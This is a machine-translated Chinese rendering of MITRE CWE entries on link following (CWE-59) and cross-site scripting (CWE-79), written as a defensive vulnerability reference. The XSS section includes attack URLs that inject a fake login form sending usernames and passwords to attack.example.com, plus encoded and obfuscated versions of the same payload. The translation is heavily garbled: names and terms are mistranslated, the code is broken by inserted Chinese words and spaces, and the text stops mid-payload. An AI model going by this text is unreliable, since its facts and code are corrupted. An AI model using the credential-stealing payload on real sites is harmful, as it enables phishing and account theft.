有些人使用这个词“不安全的临时文件”指一个链接后的弱点,但其他弱点可以产生不安全的临时文件没有任何符号链接参与。
邮政单:
“Zip”攻击,使用文件档案(如邮政、焦油、rar,等等),包含文件名和路径遍历序列,导致文件写的目录以外的存档将提取(ref - 1282]。是最常用的相对路径遍历(CWE-23)和链接后(CWE-59)。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 706年 使用Incorrectly-Resolved名称或引用
ParentOf 复合组合——一个复合元素包含两个或两个以上不同的弱点,所有弱点必须出现在同一时间为了一个潜在的漏洞出现。删除任何缺点消除或大大降低了风险。一个弱点,X,可以“分解”组件弱点Y和z可以有弱点在哪些情况下可能不是必要的复合,但复合的性质变化时变成了弱点。 61年 UNIX符号链接(符号链接)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 62年 UNIX硬链接
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 64年 Windows快捷方式后(.LNK)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 65年 Windows硬链接
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1386年 不安全的操作在Windows上结/挂载点
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 73年 外部控制文件名或路径
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 363年 竞态条件使链接后
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1219年 文件处理问题
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 706年 使用Incorrectly-Resolved名称或引用
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
+背景细节
软链接是一个UNIX术语是简单快捷键在windows平台上的同义词。
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

操作系统

类:窗户(有时流行)

Unix类:(通常是普遍的)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密
完整性
访问控制

技术的影响:阅读文件或目录;修改文件或目录;旁路保护机制

攻击者可以遍历文件系统,以意想不到的地点和读或覆盖意想不到的文件的内容。如果文件被用于安全机制,那么攻击者可以绕过机制。
其他

技术的影响:执行未经授权的代码或命令

Windows快捷方式简单,有时被称为软链接,可以利用远程自”。LNK“上传文件可以像一个正常的文件。这可以使远程执行。
+利用的可能性
媒介
+观察到的例子
参考 描述
一些版本的Perl遵循符号链接时使用- e选项,它允许本地用户覆盖任意文件通过一个符号链接攻击。
文本编辑器创建救援时遵循符号链接复制在异常退出,它允许本地用户覆盖其他用户的文件。
防病毒更新允许本地用户创建或添加到任意文件通过一个符号链接攻击一个日志文件。
符号链接攻击允许本地用户覆盖文件。
窗口管理器不妥善处理当某些符号链接指向“过时”的位置,这可能允许本地用户创建或截断任意文件。
二阶符号链接漏洞
二阶符号链接漏洞
符号链接在Python程序
Setuid产品允许文件阅读通过替换一个文件正在编辑符号链接到目标文件,解析失败时泄露导致的错误消息。
信号引起抛售,符号链接。
硬链接攻击,文件覆盖;有趣,因为程序检查软链接
硬链接和符号链接在嵌入式操作系统漏洞允许本地用户覆盖任意文件。
作为根用户服务器创建硬链接和分开的文件,它允许本地用户获得特权被删除和覆盖任意文件。
操作系统允许本地用户进行拒绝服务通过创建硬链接从一个设备特殊文件到一个文件在一个NFS文件系统。
虚拟主机管理器之前硬链接,允许本地用户读取或修改任意文件。
包装清单系统允许本地用户覆盖任意文件通过一个硬链接lockfiles攻击。
硬链接竞态条件
邮件客户端允许远程攻击者绕过用户警告等可执行附件. exe, com,并通过.lnk。bat文件指的是附件,又名“隐形依恋。”
FTP服务器允许远程攻击者读取任意文件和目录的上传.lnk(链接)文件指向目标文件。
FTP服务器允许远程攻击者读取任意文件和目录的上传.lnk(链接)文件指向目标文件。
浏览器允许远程恶意网站覆盖任意文件通过诱骗用户下载.LNK两次(链接)文件,它覆盖第一个.LNK文件中引用的文件。
“.LNK。”- .LNK with trailing dot
rootkit能绕过文件访问限制到Windows内核目录使用NtCreateSymbolicLinkObject函数创建符号链接
文件系统允许本地攻击者隐藏文件使用活动通过一个硬链接到目标文件,导致链接被记录在审计跟踪的目标文件。
Web服务器插件允许本地用户覆盖任意文件通过一个符号链接攻击可预测的临时文件名。
Libcontainer用于码头工人引擎允许本地用户逃避集装箱化和写作上的任意文件通过一个符号链接攻击主机系统在一个图像与一个容器。
“Zip”漏洞Go-based开放容器倡议(OCI)注册产品允许写作目的以外的任意文件目录通过符号链接或gzip压缩文件的硬链接。
“Zip”漏洞在容器管理产品允许写作目的以外的任意文件目录(通过一个容器形象。焦油和文件名格式),符号链接指向其他文件在相同的tar文件;然而,文件也可以是符号链接指向目的地以外的目的目录,绕过最初的检查。
+潜在的缓解措施

阶段:体系结构和设计

策略:分离的特权

遵循最小特权原则分配访问权限实体在一个软件系统。

拒绝访问一个文件可以防止攻击者替换该文件链接到一个敏感文件。确保良好的系统提供保护区的划分,可以信任。

+弱点Ordinalities
Ordinality 描述
合成
(缺点是通常与其他弱点的存在)
+检测方法

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析

有效性:飙升部分

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 关注人工抽查,手动分析来源
  • 手工源代码审查(不检查)

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:飙升部分

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+功能区域
  • 文件处理
+影响资源
  • 文件或目录
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 743年 CERT C安全编码标准(2008)第十章-输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 748年 CERT C安全编码标准(2008)附录- POSIX (POS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 808年 2010年处于25 -弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 877年 CERT c++安全编码部分09 -输入输出(FIO)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 980年 SFP二级集群:链接资源名称解析
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1185年 07年SEI CERT Perl编码标准,指导方针。文件输入和输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1345年 OWASP 2021年十大类别A01:2021——破碎的访问控制
+笔记

理论

链接以下漏洞多因素漏洞(MFV)。他们是多个元素的组合:文件或目录的权限,文件名可预测性,竞态条件,在某些情况下,一个设计限制,没有执行原子文件创建操作的机制。

一些潜在的因素是竞争条件、权限和可预测性。

+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 链接后
CERT C安全编码 FIO02-C 规范化路径名来自不受信任的来源
CERT C安全编码 POS01-C 检查链接在处理文件的存在
SEI CERT Perl编码标准 FIO01-PL CWE更具体 不操作文件,不受信任的用户可以修改吗
软件故障模式 SFP18 链接资源名称解析
+引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第9章,“符号链接攻击”,518页。1版。艾迪生卫斯理》2006。
(ref - 1282) Snyk。“邮政滑脆弱性”。2018-06-05。<https://security.snyk.io/research/zip-slip-vulnerability>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
Alternate_Terms更新,Applicable_Platforms、人际关系、Other_Notes Relationship_Notes, Taxonomy_Mappings Weakness_Ordinalities
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新的关系
2009-05-27 CWE内容团队 主教法冠
更新描述、名称
2009-10-29 CWE内容团队 主教法冠
更新Background_Details Other_Notes
2010-02-16 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2010-04-05 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2011-09-13 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Common_Consequences Observed_Examples、引用关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2014-06-23 CWE内容团队 主教法冠
更新Common_Consequences Other_Notes
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Affected_Resources、Applicable_Platforms Causal_Nature、Common_Consequences Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction,关系,Taxonomy_Mappings
2019-01-03 CWE内容团队 主教法冠
更新Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-04-28 CWE内容团队 主教法冠
更新Research_Gaps
2022-06-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新Alternate_Terms、Background_Details Observed_Examples、引用Relationship_Notes Theoretical_Notes
2023-01-31 CWE内容团队 主教法冠
更新描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 链接后
2009-05-27 之前未能解决链接文件访问(又名“链接后”)

cwe - 79:不当中和的输入在Web页面生成(“跨站点脚本编制”)

弱点ID: 79
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品不中和或错误中和用户可控输入之前放在输出作为web页面使用的其他用户。
+扩展描述

跨站点脚本(XSS)攻击发生时:

  1. 不可信的数据进入一个web应用程序,通常从web请求。
  2. web应用程序动态生成一个web页面,其中包含这个不可信的数据。
  3. 在页面生成过程中,应用程序不包含内容,防止数据被web浏览器执行,如JavaScript、HTML标记,HTML属性,鼠标事件,Flash, ActiveX等等。
  4. 受害者通过web浏览器访问生成的web页面,其中包含恶意脚本注入使用不可信的数据。
  5. 因为脚本来自web服务器发送的web页面,受害者的web浏览器执行恶意脚本上下文的web服务器的域。
  6. 这实际上违反了web浏览器的同源策略的意图,即脚本在一个领域不应该能够访问资源或运行代码在一个不同的领域。

有三个主要类型的XSS:

  • 类型1:反映XSS(或非持久性)——直接从HTTP请求和服务器读取数据反映了它在HTTP响应。反映XSS攻击发生时,攻击者会导致受害者提供危险的内容一个脆弱的web应用程序,然后再反射回受害人和执行的web浏览器。最常见的机制提供恶意内容是包括作为一个参数在一个URL公示或邮件直接受害者。URL构造以这种方式构成许多钓鱼计划的核心,即攻击者说服受害者访问URL,指的是一个脆弱的网站。网站反映了攻击者的内容后回受害者,受害者的浏览器执行的内容。
  • 类型2:存储XSS(或长期)——应用程序将危险的数据存储在一个数据库,信息论坛,访客日志或其他可信的数据存储。在稍后的时间,随后危险数据读回应用程序,包括在动态内容。从攻击者的角度来看,最优注入恶意内容的地方是在一个区域显示许多用户或用户特别有趣。有趣的用户通常有高特权应用程序或与敏感数据,攻击者是有价值的。如果其中一个用户执行恶意内容,攻击者能够代表用户执行特权操作或访问敏感数据属于用户。例如,攻击者可能注入XSS日志消息,这可能无法正确处理当管理员日志的看法。
  • 0型:基于dom的XSS——基于dom的XSS,客户机执行注入XSS页面;其他类型的服务器执行注射。基于dom的XSS一般包括服务器控制,信任脚本发送到客户端,如Javascript执行健康检查在用户提交表单。如果server-supplied脚本进程用户提供的数据,然后注入web页面(如动态HTML),然后基于dom的XSS是可能的。

一旦注入恶意脚本,攻击者可以执行各种恶意活动。攻击者可以转移私人信息,比如饼干,可能包括会话信息,攻击者从受害者的机器。攻击者可以恶意请求发送到一个网站代表受害者,这可能是特别危险的网站如果受害人有管理员权限来管理该网站。钓鱼攻击可以用来模拟可信网站和诱骗受害人进入一个密码,允许攻击者妥协受害者的账户在那个网站。最后,脚本可以利用web浏览器本身的脆弱性可能接管受害者的机器,有时被称为“驾车窃听。”

在许多情况下,可以启动攻击受害者不知不觉。即使小心用户,攻击者经常使用各种方法来编码的恶意攻击,比如URL编码或者Unicode,所以请求看起来不那么可疑。

+替代条款
XSS:
一个常见的缩写跨站点脚本。
HTML注入:
用作存储(类型2)XSS的同义词。
CSS:
初期XSS最初的发现后,“CSS”是一个常用的缩略词。然而,这将导致混乱和“层叠样式表”,所以这个缩略词的使用显著下降。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 80年 不当中和与脚本相关的所有HTML标记的Web页面(基本XSS)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 81年 不当中和Web页面的脚本错误消息
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 83年 中和不当脚本在一个Web页面的属性
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 84年 中和不当URI编码方案在一个Web页面
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 85年 翻了一番个性XSS操作
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 86年 不当中和标识符无效字符的Web页面
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 87年 中和不当交替XSS语法
ParentOf 链链——一个复合元素是一个序列的两个或两个以上的独立的缺点,可以在软件中紧密联系在一起。一个弱点,X,可以直接创建所必需的条件导致另一个弱点,Y,进入一个脆弱的状态。,当这一切发生的时候,CWE指X作为“主”Y, Y是“合成”X连锁可能涉及两个以上缺点,在某些情况下,他们可能有一个树状结构。 692年 不完整的Denylist跨站点脚本
PeerOf 复合组合——一个复合元素包含两个或两个以上不同的弱点,所有弱点必须出现在同一时间为了一个潜在的漏洞出现。删除任何缺点消除或大大降低了风险。一个弱点,X,可以“分解”组件弱点Y和z可以有弱点在哪些情况下可能不是必要的复合,但复合的性质变化时变成了弱点。 352年 跨站请求伪造(CSRF)
PeerOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 494年 下载的代码没有完整性检查
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 113年 不当中和CRLF序列在HTTP头(HTTP请求/响应分裂)
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 184年 不允许输入的完整列表
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 494年 下载的代码没有完整性检查
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 137年 数据中和问题
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
+背景细节

浏览器的同源策略的国家应该限制访问的资源脚本运行在一个给定的web站点,或者“起源”,相关的资源,网站在客户端,而不是任何其他网站或客户端资源“起源”。这样做的目的是防止一个站点能够修改或读一个不相关的网站的内容。自从万维网涉及许多网站之间的相互作用,这一政策对浏览器执行很重要。

当谈到XSS,一个网站的域名相当于与网站相关的资源连接的客户端。即域可以被认为是所有资源浏览器存储与这个特定的网站用户的交互。

+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

技术

类:基于Web的(通常是普遍的)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
访问控制
保密

技术的影响:旁路保护机制;读取应用程序数据

最常见的与跨站点脚本攻击执行涉及信息披露的信息存储在用户的cookie。通常情况下,恶意用户将工艺客户端脚本,这——当解析web浏览器执行一些活动(如发送所有站点cookie到给定的电子邮件地址)。这个脚本将被加载并运行每个用户访问该网站。自网站请求运行脚本能够访问问题的饼干,还恶意脚本。
完整性
保密
可用性

技术的影响:执行未经授权的代码或命令

在某些情况下是可能的受害者的计算机上运行任意代码当跨站点脚本结合其他缺陷。
保密
完整性
可用性
访问控制

技术的影响:执行未经授权的代码或命令;旁路保护机制;读取应用程序数据

XSS攻击的结果是一样的,不管你是否存储或反映。不同之处是如何有效载荷到达服务器。XSS给最终用户可能会导致各种各样的问题严重程度不一,从一个烦恼完成帐户妥协。一些跨站点脚本漏洞可以利用操纵或偷饼干,创建请求可以被误认为是有效的用户,妥协机密信息,或最终用户系统上执行恶意代码的各种邪恶的目的。其他破坏性攻击包括最终用户的信息披露文件,安装木马程序,将用户重定向到其他网页或网站,运行“积极X”控制(在微软Internet Explorer)从用户认为值得信赖的网站,和修改的内容。
+利用的可能性
+示范例子

示例1

下面的代码在网页上显示欢迎消息基于HTTP GET username参数(包括反映XSS(1型)的场景)。

(坏的代码)
例如语言:PHP
$ username = $ _GET['用户名');
echo ' < div class = "头" >欢迎,”。美元的用户名。“< / div >”;

因为参数可以任意页面的url可能修改所以$用户名包含脚本语法,等

(攻击代码)
http://trustedSite.example.com/welcome.php?Javascript的用户名= <脚本语言= " " >警报(“你被攻击!”);> < /脚本

这导致一种无害的警告对话框出现。最初这似乎不可能的漏洞。毕竟,为什么会有人输入一个URL,导致恶意代码运行在自己的电脑吗?真正的危险是,攻击者将创建恶意URL,然后使用电子邮件或社会工程技巧来吸引受害者访问的URL链接。受害者点击链接时,无意中反映了恶意的内容通过脆弱的web应用程序回自己的电脑。

更实际的是,攻击者可以嵌入一个虚假的登录框在页面上,欺骗用户到用户的密码发送给攻击者:

(攻击代码)
http://trustedSite.example.com/welcome.php?用户名= < div id = " stealPassword " >请登录:<表单名称= "输入" action = " http://attack.example.com/stealPassword.php " method = " post " >用户名:< input type = " text " name = "用户名" / > < br / >密码:< input type = "密码" name = "密码" / > < br / > < input type = " submit " value = "登录" / > < /形式> < / div >

如果用户点击这个链接那么受欢迎。php将生成以下HTML并将其发送到用户的浏览器:

(结果)
< div class = "头" >欢迎,< div id = " stealPassword " >请登录:

<表单名称= "输入" action = "attack.example.com/stealPassword.php”方法= " post " >
用户名:< input type = " text " name = "用户名" / > < br / >
密码:< input type = "密码" name = "密码" / > < br / >
< input type = " submit " value = "登录" / >
> < /形式

< / div > < / div >

URL的信赖域可能错误地向用户保证,可以按照链接。然而,一个精明的用户可能会发现可疑的文本附加到URL。攻击者可能会进一步混淆的URL(以下示例的链接是可读性分解成多行):

(攻击代码)
trustedSite.example.com/welcome.php?username=%3Cdiv % 3 d % 22 + id
stealPassword % 3 eplease +登录22% % % 3 cform 3 + % 3 d % 22输入名称
% 22 +行动% 3 d % 22 http % 3 fattack.example.com % 2 fstealpassword.php % 2 f % 2
% 22 +方法% 3 d % 22 post % 22% 3 eusername % + % 3 cinput + % 3 d % 22型文本
% 22 +名称% 3 d % 22用户名% 22 + % 2 f % 3 e % 3 cbr % 2 f % 3 epassword % 3
+ % 3 cinput +类型% 3 d % 22密码% 22 +名% 3 d % 22密码% 22
+ % 2 f % 3 e % 3 cinput +类型% 3 d % 22提交% 22 +值% 3 d % 22登录% 22
+ % 2 f % 3 e % 3 c % 2 fform % 3 e % 3 c % 2 fdiv % 3 e % d % 0 a

同样的攻击字符串也可以混淆:

(攻击代码)
trustedSite.example.com/welcome.php?username= <脚本+ type = " text / javascript " >
document . write (“\ u003C \ u0064 \ u0069 \ u0076 \ u0020 \ u0069 \ u0064 \ u003D \ u0022 \ u0073
\ u0074 \ u0065 \ u0061 \ u006C \ u0050 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064
\ u0022 \ u003E \ u0050 \ u006C \ u0065 \ u0061 \ u0073 \ u0065 \ u0020 \ u004C \ u006F \ u0067
\ u0069 \ u006E \ u003A \ u003C \ u0066 \ u006F \ u0072 \ u006D \ u0020 \ u006E \ u0061 \ u006D
\ u0065 \ u003D \ u0022 \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0022 \ u0020 \ u0061 \ u0063
\ u0074 \ u0069 \ u006F \ u006E \ u003D \ u0022 \ u0068 \ u0074 \ u0074 \ u0070 \ u003A \ u002F
\ u002F \ u0061 \ u0074 \ u0074 \ u0061 \ u0063 \ u006B \ u002E \ u0065 \ u0078 \ u0061 \ u006D
\ u0070 \ u006C \ u0065 \ u002E \ u0063 \ u006F \ u006D \ u002F \ u0073 \ u0074 \ u0065 \ u0061
\ u006C \ u0050 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u002E \ u0070 \ u0068
\ u0070 \ u0022 \ u0020 \ u006D \ u0065 \ u0074 \ u0068 \ u006F \ u0064 \ u003D \ u0022 \ u0070
\ u006F \ u0073 \ u0074 \ u0022 \ u003E \ u0055 \ u0073 \ u0065 \ u0072 \ u006E \ u0061 \ u006D
\ u0065 \ u003A \ u0020 \ u003C \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0020 \ u0074 \ u0079
\ u0070 \ u0065 \ u003D \ u0022 \ u0074 \ u0065 \ u0078 \ u0074 \ u0022 \ u0020 \ u006E \ u0061
\ u006D \ u0065 \ u003D \ u0022 \ u0075 \ u0073 \ u0065 \ u0072 \ u006E \ u0061 \ u006D \ u0065
\ u0022 \ u0020 \ u002F \ u003E \ u003C \ u0062 \ u0072 \ u002F \ u003E \ u0050 \ u0061 \ u0073
\ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u003A \ u0020 \ u003C \ u0069 \ u006E \ u0070 \ u0075
\ u0074 \ u0020 \ u0074 \ u0079 \ u0070 \ u0065 \ u003D \ u0022 \ u0070 \ u0061 \ u0073 \ u0073
\ u0077 \ u006F \ u0072 \ u0064 \ u0022 \ u0020 \ u006E \ u0061 \ u006D \ u0065 \ u003D \ u0022
\ u0070 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u0022 \ u0020 \ u002F \ u003E
\ u003C \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0020 \ u0074 \ u0079 \ u0070 \ u0065 \ u003D
\ u0022 \ u0073 \ u0075 \ u0062 \ u006D \ u0069 \ u0074 \ u0022 \ u0020 \ u0076 \ u0061 \ u006C
\ u0075 \ u0065 \ u003D \ u0022 \ u004C \ u006F \ u0067 \ u0069 \ u006E \ u0022 \ u0020 \ u002F
